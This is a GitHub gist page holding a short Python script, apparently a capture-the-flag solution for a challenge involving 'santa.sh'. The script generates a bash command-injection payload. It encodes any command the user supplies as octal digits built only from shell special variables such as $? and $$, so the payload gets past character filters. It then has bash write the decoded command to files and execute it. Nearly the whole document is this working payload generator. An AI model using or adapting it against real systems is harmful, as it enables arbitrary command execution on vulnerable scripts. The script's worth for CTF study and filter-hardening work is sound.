Skip to content

Instantly share code, notes, and snippets.

@eboda eboda/go.py
Created Dec 29, 2016

Embed
What would you like to do?
hohoho solution
import sys
m = {
'0' : '$[$?/$$]',
'1' : '$?',
'2' : '$[$?+$?]',
'3' : '$[$?+$?+$?]',
'4' : '$[$?+$?+$?+$?]',
'5' : '$[$?+$?+$?+$?+$?]',
'6' : '$[($?+$?+$?)*($?+$?)]',
'7' : '$[($?+$?+$?)*($?+$?)+$?]'
}
OUTFILE_1 = "$#"
OUTFILE_2 = "$$"
BASH_STRING = "(());${!#:(($?+$?+$?)*($?+$?)+$?):$?}" #substr("./santa.sh", 7, 1) = "."
def conv(c):
""" Convert a character to its octal representation """
n = map(lambda x: m[x], list(str(oct(ord(c)))[1:]))
return "\\\\" + ''.join(n)
def go(cmd):
payload = ';(());'
# add ;$' to the output
payload += '";"\$"\'"'
# convert each character to octal and then generate a representation for each digit
payload += ''.join(map(conv, list(cmd)))
# write stderr to the file 0
payload += '"\';"&>%s;' % OUTFILE_1
# execute bash 0 and write stderr to a file $$,
# this step resolves the octal representation to regular ascii
payload += '%s %s&>%s;' % (BASH_STRING, OUTFILE_1, OUTFILE_2)
# execute bash $$'
payload += '%s %s;' % (BASH_STRING, OUTFILE_2)
return payload.replace("\\", "\\\\")
if __name__ == "__main__":
if len(sys.argv) <= 1:
print "Usage: python %s cmd" % sys.argv[0]
exit()
cmd = ';' + ' '.join(sys.argv[1:]) + ';'
print go(cmd)
@abdilahrf

This comment has been minimized.

Copy link

abdilahrf commented Jun 25, 2017

Cool

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.